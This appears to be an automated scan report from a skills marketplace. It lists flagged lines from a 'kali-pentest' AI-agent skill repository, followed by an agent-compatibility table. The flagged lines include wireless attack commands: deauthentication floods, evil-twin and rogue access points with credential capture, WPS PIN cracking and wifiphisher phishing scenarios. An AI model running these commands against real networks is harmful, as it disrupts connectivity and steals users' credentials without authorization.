    docker run -v "$(pwd)":/zap/wrk/:rw -t ghcr.io/zaproxy/zaproxy:stable    zap-baseline.py -t https://target.com -r zap-baseline.html -J zap-baseline.json
  • Network accessline 86
    zap-baseline.py -t https://target.com -r zap-baseline.html -J zap-baseline.json
  • Network accessline 88
    # Full scan: includes active scanning; use only with explicit authorization docker run -v "$(pwd)":/zap/wrk/:rw -t ghcr.io/zaproxy/zaproxy:stable \   zap-full-scan.py -t https://target.com -r zap-full.html -J zap-full.json
  • Network accessline 89
    docker run -v "$(pwd)":/zap/wrk/:rw -t ghcr.io/zaproxy/zaproxy:stable    zap-full-scan.py -t https://target.com -r zap-full.html -J zap-full.json
  • Network accessline 90
    zap-full-scan.py -t https://target.com -r zap-full.html -J zap-full.json
  • Network accessline 92
    # API scan from an OpenAPI definition docker run -v "$(pwd)":/zap/wrk/:rw -t ghcr.io/zaproxy/zaproxy:stable \   zap-api-scan.py -t https://target.com/openapi.json -f openapi -r zap-api.html -J zap-api.json
  • Network accessline 93
    docker run -v "$(pwd)":/zap/wrk/:rw -t ghcr.io/zaproxy/zaproxy:stable    zap-api-scan.py -t https://target.com/openapi.json -f openapi -r zap-api.html -J zap-api.json
  • Network accessline 94
    zap-api-scan.py -t https://target.com/openapi.json -f openapi -r zap-api.html -J zap-api.json
  • Network accessline 96
    # API scan against GraphQL endpoint docker run -v "$(pwd)":/zap/wrk/:rw -t ghcr.io/zaproxy/zaproxy:stable \   zap-api-scan.py -t https://target.com/graphql -f graphql -r zap-graphql.html -J zap-graphql.json
  • Network accessline 97
    docker run -v "$(pwd)":/zap/wrk/:rw -t ghcr.io/zaproxy/zaproxy:stable    zap-api-scan.py -t https://target.com/graphql -f graphql -r zap-graphql.html -J zap-graphql.json
  • Network accessline 98
    zap-api-scan.py -t https://target.com/graphql -f graphql -r zap-graphql.html -J zap-graphql.json
  • Network accessline 110
    - name: target       urls:         - https://target.com
  • Network accessline 111
    urls:         - https://target.com jobs:
  • Network accessline 112
    - https://target.com
  • Network accessline 141
    - [ZAP Command Line](https://www.zaproxy.org/docs/desktop/cmdline/)
  • Network accessline 142
    - [ZAP Docker User Guide](https://www.zaproxy.org/docs/docker/about/)
  • Network accessline 143
    - [ZAP Baseline Scan](https://www.zaproxy.org/docs/docker/baseline-scan/)
  • Network accessline 144
    - [ZAP Full Scan](https://www.zaproxy.org/docs/docker/full-scan/)
  • Network accessline 145
    - [ZAP API Scan](https://www.zaproxy.org/docs/docker/api-scan/)
  • Network accessline 146
    - [ZAP Kali Package](https://www.kali.org/tools/zaproxy/)

kali-pentest/references/wireless/README.md

  • Network accessline 196
    - [Aircrack-ng Documentation](https://www.aircrack-ng.org/documentation.html)
  • Network accessline 197
    - [Kali Tools](https://www.kali.org/tools/all-tools/)

kali-pentest/references/wireless/tools/airbase-ng.md

  • Dangerous shell operationline 15
    sudo apt install aircrack-ng
  • Dangerous shell operationline 45
    sudo airbase-ng -e "FreeWiFi" -c 6 wlan0mon
  • Dangerous shell operationline 50
    sudo ifconfig at0 192.168.99.1 netmask 255.255.255.0 up
  • Dangerous shell operationline 57
    sudo airbase-ng -e "TargetWiFi" -c 6 wlan0mon &
  • Dangerous shell operationline 60
    sudo ifconfig at0 192.168.99.1 netmask 255.255.255.0 up
  • Dangerous shell operationline 72
    sudo dnsmasq -C /tmp/dnsmasq.conf
  • Dangerous shell operationline 75
    sudo sysctl net.ipv4.ip_forward=1
  • Dangerous shell operationline 76
    sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
  • Dangerous shell operationline 83
    sudo airbase-ng -P -c 6 wlan0mon
  • Dangerous shell operationline 86
    sudo airbase-ng -P -e "HotSpot" -c 6 wlan0mon
  • Network accessline 100
    - [airbase-ng Documentation](https://www.aircrack-ng.org/doku.php?id=airbase-ng)
  • Network accessline 101
    - [Aircrack-ng Documentation](https://www.aircrack-ng.org/documentation.html)

kali-pentest/references/wireless/tools/aircrack-ng.md

  • Dangerous shell operationline 15
    sudo apt install aircrack-ng
  • Dangerous shell operationline 106
    sudo airmon-ng check kill
  • Dangerous shell operationline 107
    sudo airmon-ng start wlan0
  • Dangerous shell operationline 110
    sudo airodump-ng wlan0mon
  • Dangerous shell operationline 114
    sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w /tmp/target wlan0mon
  • Dangerous shell operationline 117
    sudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon
  • Network accessline 135
    - [aircrack-ng Documentation](https://www.aircrack-ng.org/doku.php?id=aircrack-ng)
  • Network accessline 136
    - [Aircrack-ng Documentation](https://www.aircrack-ng.org/documentation.html)
  • Network accessline 137
    - [aircrack-ng (GitHub)](https://github.com/aircrack-ng/aircrack-ng)

kali-pentest/references/wireless/tools/aireplay-ng.md

  • Dangerous shell operationline 15
    sudo apt install aircrack-ng
  • Dangerous shell operationline 18
    sudo aireplay-ng --test wlan0mon
  • Dangerous shell operationline 69
    sudo aireplay-ng --test wlan0mon
  • Dangerous shell operationline 72
    sudo aireplay-ng --test -b AA:BB:CC:DD:EE:FF wlan0mon
  • Dangerous shell operationline 79
    sudo aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon
  • Dangerous shell operationline 82
    sudo aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
  • Dangerous shell operationline 85
    sudo aireplay-ng -0 0 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
  • Dangerous shell operationline 92
    sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w /tmp/handshake wlan0mon
  • Dangerous shell operationline 95
    sudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon
  • Dangerous shell operationline 105
    sudo aireplay-ng -1 0 -e TargetSSID -a AA:BB:CC:DD:EE:FF -h YY:YY:YY:YY:YY:YY wlan0mon
  • Dangerous shell operationline 110
    sudo aireplay-ng -3 -b AA:BB:CC:DD:EE:FF -h YY:YY:YY:YY:YY:YY wlan0mon
  • Dangerous shell operationline 117
    sudo aireplay-ng -1 0 -e "MyNetwork" -a AA:BB:CC:DD:EE:FF -h YY:YY:YY:YY:YY:YY wlan0mon
  • Dangerous shell operationline 120
    sudo aireplay-ng -1 30 -e "MyNetwork" -a AA:BB:CC:DD:EE:FF -h YY:YY:YY:YY:YY:YY wlan0mon
  • Network accessline 136
    - [aireplay-ng Documentation](https://www.aircrack-ng.org/doku.php?id=aireplay-ng)
  • Network accessline 137
    - [Aircrack-ng Documentation](https://www.aircrack-ng.org/documentation.html)

kali-pentest/references/wireless/tools/airgeddon.md

  • Dangerous shell operationline 15
    sudo apt install airgeddon
  • Network accessline 66
    - [airgeddon (GitHub)](https://github.com/v1s1t0r1sh3r3/airgeddon)
  • Network accessline 67
    - [Kali airgeddon](https://www.kali.org/tools/airgeddon/)

kali-pentest/references/wireless/tools/airmon-ng.md

  • Dangerous shell operationline 15
    sudo apt install aircrack-ng
  • Dangerous shell operationline 38
    sudo airmon-ng check
  • Dangerous shell operationline 41
    sudo airmon-ng check kill
  • Dangerous shell operationline 44
    sudo airmon-ng start wlan0
  • Dangerous shell operationline 53
    sudo airmon-ng start wlan0 6
  • Dangerous shell operationline 56
    sudo airmon-ng start wlan0 36
  • Dangerous shell operationline 63
    sudo airmon-ng stop wlan0mon
  • Dangerous shell operationline 66
    sudo systemctl restart NetworkManager
  • Dangerous shell operationline 73
    sudo airmon-ng check kill
  • Dangerous shell operationline 76
    sudo airmon-ng start wlan0
  • Dangerous shell operationline 79
    sudo airodump-ng wlan0mon
  • Dangerous shell operationline 82
    sudo airmon-ng stop wlan0mon
  • Dangerous shell operationline 83
    sudo systemctl restart NetworkManager
  • Network accessline 99
    - [airmon-ng Documentation](https://www.aircrack-ng.org/doku.php?id=airmon-ng)
  • Network accessline 100
    - [Aircrack-ng Documentation](https://www.aircrack-ng.org/documentation.html)

kali-pentest/references/wireless/tools/airodump-ng.md

  • Dangerous shell operationline 15
    sudo apt install aircrack-ng
  • Dangerous shell operationline 75
    sudo airodump-ng wlan0mon
  • Dangerous shell operationline 78
    sudo airodump-ng --band a wlan0mon
  • Dangerous shell operationline 81
    sudo airodump-ng --band abg wlan0mon
  • Dangerous shell operationline 89
    sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w /tmp/capture wlan0mon
  • Dangerous shell operationline 102
    sudo airodump-ng -a wlan0mon
  • Dangerous shell operationline 105
    sudo airodump-ng --wps wlan0mon
  • Dangerous shell operationline 112
    sudo airodump-ng --manufacturer wlan0mon
  • Dangerous shell operationline 119
    sudo airodump-ng -r /tmp/capture-01.cap
  • Network accessline 135
    - [airodump-ng Documentation](https://www.aircrack-ng.org/doku.php?id=airodump-ng)
  • Network accessline 136
    - [Aircrack-ng Documentation](https://www.aircrack-ng.org/documentation.html)

kali-pentest/references/wireless/tools/asleap.md

  • Dangerous shell operationline 22
    sudo apt install asleap
  • Network accessline 24
    # Or build from source git clone https://github.com/joswr1ght/asleap.git
  • Network accessline 25
    git clone https://github.com/joswr1ght/asleap.git
  • Network accessline 115
    - [asleap (GitHub)](https://github.com/joswr1ght/asleap)
  • Network accessline 116
    - [Kali Tools - asleap](https://www.kali.org/tools/asleap/)

kali-pentest/references/wireless/tools/blueranger.md

  • Network accessline 43
    - [Kali blueranger](https://www.kali.org/tools/blueranger/)

kali-pentest/references/wireless/tools/bluesnarfer.md

  • Network accessline 58
    - [Kali bluesnarfer](https://www.kali.org/tools/bluesnarfer/)

kali-pentest/references/wireless/tools/btscanner.md

  • Network accessline 47
    - [Kali btscanner](https://www.kali.org/tools/btscanner/)

kali-pentest/references/wireless/tools/bully.md

  • Dangerous shell operationline 15
    sudo apt install bully
  • Network accessline 78
    - [bully (GitHub)](https://github.com/kimocoder/bully)
  • Network accessline 79
    - [Kali bully](https://www.kali.org/tools/bully/)

kali-pentest/references/wireless/tools/cowpatty.md

  • Dangerous shell operationline 15
    sudo apt install cowpatty
  • Network accessline 57
    - [cowpatty (GitHub)](https://github.com/joswr1ght/cowpatty)
  • Network accessline 58
    - [Kali cowpatty](https://www.kali.org/tools/cowpatty/)

kali-pentest/references/wireless/tools/crackle.md

  • Network accessline 46
    - [crackle GitHub](https://github.com/mikeryan/crackle)
  • Network accessline 47
    - [Kali crackle](https://www.kali.org/tools/crackle/)

kali-pentest/references/wireless/tools/eaphammer.md

  • Dangerous shell operationline 15
    sudo apt install eaphammer
  • Network accessline 17
    git clone https://github.com/s0lst1c3/eaphammer.git
  • Dangerous shell operationline 19
    sudo ./kali-setup
  • Dangerous shell operationline 45
    sudo eaphammer --interface wlan0 --essid "CorpWiFi" --channel 6 \
  • Dangerous shell operationline 53
    sudo eaphammer --interface wlan0 --essid "CorpWiFi" --channel 6 \
  • Dangerous shell operationline 61
    sudo eaphammer --interface wlan0 --essid "CorpWiFi" --channel 6 \
  • Dangerous shell operationline 69
    sudo eaphammer --interface wlan0 --auth wpa-eap --creds --known-beacons
  • Dangerous shell operationline 72
    sudo eaphammer --interface wlan0 --auth wpa-eap --creds \
  • Network accessline 88
    - [eaphammer (GitHub)](https://github.com/s0lst1c3/eaphammer)
  • Network accessline 89
    - [eaphammer — Kali Tools](https://www.kali.org/tools/eaphammer/)

kali-pentest/references/wireless/tools/fluxion.md

  • Dangerous shell operationline 15
    sudo apt install fluxion
  • Network accessline 70
    - [Fluxion (GitHub)](https://github.com/FluxionNetwork/fluxion)
  • Network accessline 71
    - [Kali fluxion](https://www.kali.org/tools/fluxion/)

kali-pentest/references/wireless/tools/gatttool.md

  • Network accessline 61
    - [gatttool Debian man page](https://manpages.debian.org/unstable/bluez/gatttool.1.en.html)

kali-pentest/references/wireless/tools/hcitool.md

  • Network accessline 66
    - [hcitool Debian man page](https://manpages.debian.org/unstable/bluez/hcitool.1.en.html)

kali-pentest/references/wireless/tools/hcxtools.md

  • Dangerous shell operationline 15
    sudo apt install hcxtools
  • Network accessline 72
    - [hcxtools (GitHub)](https://github.com/ZerBea/hcxtools)
  • Network accessline 73
    - [Kali hcxtools](https://www.kali.org/tools/hcxtools/)

kali-pentest/references/wireless/tools/hostapd-mana.md

  • Dangerous shell operationline 15
    sudo apt install hostapd-mana
  • Dangerous shell operationline 57
    sudo hostapd-mana /tmp/mana-open.conf
  • Dangerous shell operationline 76
    sudo hostapd-mana /tmp/mana-wpa.conf
  • Dangerous shell operationline 99
    sudo hostapd-mana /tmp/mana-eap.conf
  • Network accessline 114
    - [hostapd-mana (GitHub)](https://github.com/sensepost/hostapd-mana)
  • Network accessline 115
    - [hostapd-mana — Kali Tools](https://www.kali.org/tools/hostapd-mana/)

kali-pentest/references/wireless/tools/kismet.md

  • Dangerous shell operationline 15
    sudo apt install kismet
  • Dangerous shell operationline 18
    sudo apt install build-essential git libwebsockets-dev pkg-config \
  • Network accessline 22
    libsensors4-dev libusb-1.0-0-dev python3 python3-setuptools python3-protobuf \     python3-requests python3-numpy python3-serial python3-usb python3-paho-mqtt git clone https://github.com/kismetwireless/kismet.git
  • Network accessline 23
    python3-requests python3-numpy python3-serial python3-usb python3-paho-mqtt git clone https://github.com/kismetwireless/kismet.git cd kismet
  • Network accessline 24
    git clone https://github.com/kismetwireless/kismet.git
  • Dangerous shell operationline 28
    sudo make install
  • Dangerous shell operationline 66
    sudo kismet -c wlan0
  • Dangerous shell operationline 69
    sudo kismet -c wlan0:name=wifi,type=linuxwifi
  • Dangerous shell operationline 72
    sudo kismet --no-ncurses -c wlan0 &
  • Network accessline 74
    # Access Web UI: http://localhost:2501
  • Dangerous shell operationline 82
    sudo kismet -c wlan0 -c wlan1
  • Dangerous shell operationline 85
    sudo kismet -c wlan0:channels="1,6,11" -c wlan1:channels="36,40,44,48"
  • Dangerous shell operationline 92
    sudo apt install gpsd
  • Dangerous shell operationline 93
    sudo gpsd /dev/ttyUSB0 -F /var/run/gpsd.sock
  • Dangerous shell operationline 96
    sudo kismet -c wlan0
  • Dangerous shell operationline 105
    sudo kismet -c wlan0 --no-ncurses
  • Network accessline 118
    # Kismet provides a full REST API # Get all device list curl -u kismet:password http://localhost:2501/devices/all_devices.json | jq .
  • Network accessline 119
    # Get all device list curl -u kismet:password http://localhost:2501/devices/all_devices.json | jq . # Note: In newer Kismet versions, this endpoint may require POST with JSON body:
  • Network accessline 120
    curl -u kismet:password http://localhost:2501/devices/all_devices.json | jq .
  • Network accessline 122
    # curl -u kismet:password -X POST http://localhost:2501/devices/all_devices.json -d '{"fields":["kismet.device.base.macaddr","kismet.device.base.name"]}' | jq .
  • Network accessline 124
    # Get information about a specific device curl -u kismet:password http://localhost:2501/devices/by-mac/AA:BB:CC:DD:EE:FF/device.json
  • Network accessline 125
    curl -u kismet:password http://localhost:2501/devices/by-mac/AA:BB:CC:DD:EE:FF/device.json
  • Network accessline 128
    # Use websocat (install: cargo install websocat) or a browser: # websocat -n ws://kismet:password@localhost:2501/eventbus/events.ws # Note: plain curl http:// cannot properly connect to a WebSocket stream endpoint
  • Network accessline 130
    # Note: plain curl http:// cannot properly connect to a WebSocket stream endpoint
  • Network accessline 165
    - [Kismet Official Site](https://www.kismetwireless.net/)
  • Network accessline 166
    - [Kismet (GitHub)](https://github.com/kismetwireless/kismet)
  • Network accessline 167
    - [Kismet Documentation](https://www.kismetwireless.net/docs/readme/)

kali-pentest/references/wireless/tools/mdk4.md

  • Dangerous shell operationline 15
    sudo apt install mdk4
  • Dangerous shell operationline 52
    sudo mdk4 wlan0mon b
  • Dangerous shell operationline 55
    sudo mdk4 wlan0mon b -c 6 -n "FakeNetwork"
  • Dangerous shell operationline 58
    sudo mdk4 wlan0mon b -f /tmp/ssid_list.txt -c 6
  • Dangerous shell operationline 65
    sudo mdk4 wlan0mon d -c 6 -t AA:BB:CC:DD:EE:FF
  • Dangerous shell operationline 68
    sudo mdk4 wlan0mon d -c 6 -t AA:BB:CC:DD:EE:FF -s 50
  • Dangerous shell operationline 75
    sudo mdk4 wlan0mon a -t AA:BB:CC:DD:EE:FF -m
  • Dangerous shell operationline 78
    sudo mdk4 wlan0mon a -t AA:BB:CC:DD:EE:FF -c 6
  • Dangerous shell operationline 85
    sudo mdk4 wlan0mon e -t AA:BB:CC:DD:EE:FF
  • Dangerous shell operationline 92
    sudo mdk4 wlan0mon f -t AA:BB:CC:DD:EE:FF -c 6
  • Network accessline 107
    - [mdk4 (GitHub)](https://github.com/aircrack-ng/mdk4)
  • Network accessline 108
    - [mdk4 — Kali Tools](https://www.kali.org/tools/mdk4/)

kali-pentest/references/wireless/tools/pixiewps.md

  • Dangerous shell operationline 15
    sudo apt install pixiewps
  • Dangerous shell operationline 38
    sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -K -vv
  • Dangerous shell operationline 45
    sudo bully wlan0mon -b AA:BB:CC:DD:EE:FF -d -v 3
  • Network accessline 76
    - [pixiewps (GitHub)](https://github.com/wiire-a/pixiewps)
  • Network accessline 77
    - [pixiewps — Kali Tools](https://www.kali.org/tools/pixiewps/)

kali-pentest/references/wireless/tools/reaver.md

  • Dangerous shell operationline 15
    sudo apt install reaver
  • Dangerous shell operationline 52
    sudo wash -i wlan0mon
  • Dangerous shell operationline 55
    sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv
  • Dangerous shell operationline 58
    sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -vv
  • Dangerous shell operationline 65
    sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -K -vv
  • Dangerous shell operationline 68
    sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -K -vv
  • Dangerous shell operationline 75
    sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -d 5 -vv
  • Dangerous shell operationline 78
    sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -l 300 -vv
  • Dangerous shell operationline 81
    sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -L -vv
  • Dangerous shell operationline 84
    sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -S -vv
  • Dangerous shell operationline 91
    sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -p 12340000 -vv
  • Dangerous shell operationline 96
    sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv
  • Network accessline 113
    - [reaver-wps-fork-t6x (GitHub, Kali version)](https://github.com/t6x/reaver-wps-fork-t6x)
  • Network accessline 114
    - [Kali reaver](https://www.kali.org/tools/reaver/)

kali-pentest/references/wireless/tools/sdptool.md

  • Network accessline 58
    - [sdptool Debian man page](https://manpages.debian.org/unstable/bluez/sdptool.1.en.html)

kali-pentest/references/wireless/tools/wifiphisher.md

  • Dangerous shell operationline 15
    sudo apt install wifiphisher
  • Network accessline 17
    git clone https://github.com/wifiphisher/wifiphisher.git
  • Dangerous shell operationline 19
    sudo python3 setup.py install
  • Dangerous shell operationline 66
    sudo wifiphisher
  • Dangerous shell operationline 73
    sudo wifiphisher
  • Dangerous shell operationline 76
    sudo wifiphisher -p firmware-upgrade
  • Dangerous shell operationline 83
    sudo wifiphisher -e "TargetWiFi" -p firmware-upgrade
  • Dangerous shell operationline 86
    sudo wifiphisher -i wlan0 -e "TargetWiFi" -p oauth-login
  • Dangerous shell operationline 93
    sudo wifiphisher -eI wlan0 -aI wlan1 -e "TargetWiFi" -p firmware-upgrade
  • Dangerous shell operationline 100
    sudo wifiphisher -e "TargetWiFi" -p firmware-upgrade \
  • Network accessline 118
    - [Wifiphisher (GitHub)](https://github.com/wifiphisher/wifiphisher)
  • Network accessline 119
    - [Wifiphisher Documentation](https://wifiphisher.readthedocs.io/en/latest/)

kali-pentest/references/wireless/tools/wifipumpkin3.md

  • Dangerous shell operationline 25
    sudo apt install wifipumpkin3
  • Network accessline 27
    # Or install from source git clone https://github.com/P0cL4bs/wifipumpkin3.git
  • Network accessline 28
    git clone https://github.com/P0cL4bs/wifipumpkin3.git
  • Dangerous shell operationline 30
    sudo python3 setup.py install
  • Dangerous shell operationline 57
    sudo wifipumpkin3 -i wlan0
  • Dangerous shell operationline 60
    sudo wifipumpkin3 -i wlan0 -p setup.pulp
  • Dangerous shell operationline 67
    sudo wifipumpkin3 -i wlan0
  • Dangerous shell operationline 80
    sudo wifipumpkin3 -i wlan0 -x "set essid TestAP; set proxy pumpkinproxy; start"
  • Dangerous shell operationline 87
    3. The interface must not be managed by NetworkManager; stop it with `sudo systemctl stop NetworkManager` or exclude the interface
  • Network accessline 97
    - [wifipumpkin3 (GitHub)](https://github.com/P0cL4bs/wifipumpkin3)
  • Network accessline 98
    - [Kali Tools - wifipumpkin3](https://www.kali.org/tools/wifipumpkin3/)

kali-pentest/references/wireless/tools/wifite.md

  • Dangerous shell operationline 15
    sudo apt install wifite
  • Network accessline 17
    # Install the latest version from GitHub (wifite2) git clone https://github.com/derv82/wifite2.git
  • Network accessline 18
    git clone https://github.com/derv82/wifite2.git
  • Dangerous shell operationline 20
    sudo pip3 install .  # setup.py install is deprecated; use pip instead
  • Dangerous shell operationline 24
    sudo apt install aircrack-ng reaver bully hashcat hcxdumptool hcxtools
  • Dangerous shell operationline 56
    sudo wifite
  • Dangerous shell operationline 59
    sudo wifite --kill
  • Dangerous shell operationline 62
    sudo wifite -i wlan0
  • Dangerous shell operationline 69
    sudo wifite -pow -50 --kill
  • Dangerous shell operationline 72
    sudo wifite --clients-only --kill
  • Dangerous shell operationline 75
    sudo wifite -c 6 --kill
  • Dangerous shell operationline 78
    sudo wifite -first 1 --kill
  • Dangerous shell operationline 85
    sudo wifite --wps-only --kill
  • Dangerous shell operationline 88
    sudo wifite --wpa --skip-crack --kill
  • Dangerous shell operationline 91
    sudo wifite --pmkid --kill
  • Dangerous shell operationline 94
    sudo wifite --wpa --dict /usr/share/wordlists/rockyou.txt --kill
  • Dangerous shell operationline 114
    sudo wifite --random-mac --kill
  • Network accessline 130
    - [Wifite2 (GitHub)](https://github.com/derv82/wifite2)

How the signals fit together

Facts from a static read of the files at the pinned commit. They describe what the code does, not why.

Signal confidence: 500 facts

and 450 more

Only the first 500 facts are listed.

Works with

Agent compatibility, from the files in this repository
AgentStatusEvidenceInstall to
Claude CodeNativeFrontmatter field user-invocable in kali-pentest-zh/SKILL.md.claude/skills/<skill-name>/
CodexCompatibleStandard SKILL.md kali-pentest/SKILL.md.agents/skills/<skill-name>/
CursorCompatibleStandard SKILL.md kali-pentest/SKILL.md.cursor/skills/<skill-name>/
Gemini CLICompatibleStandard SKILL.md kali-pentest/SKILL.md.gemini/skills/<skill-name>/
GitHub CopilotCompatibleStandard SKILL.md kali-pentest/SKILL.md.github/skills/<skill-name>/
OpenCodeCompatibleStandard SKILL.md kali-pentest/SKILL.md.opencode/skills/<skill-name>/
  • Native The repository ships a manifest, folder or frontmatter field for this agent.
  • Compatible A standard SKILL.md that this agent can read.
  • Unknown No evidence either way.

Derived automatically from paths, manifests and frontmatter. Not tested on each agent.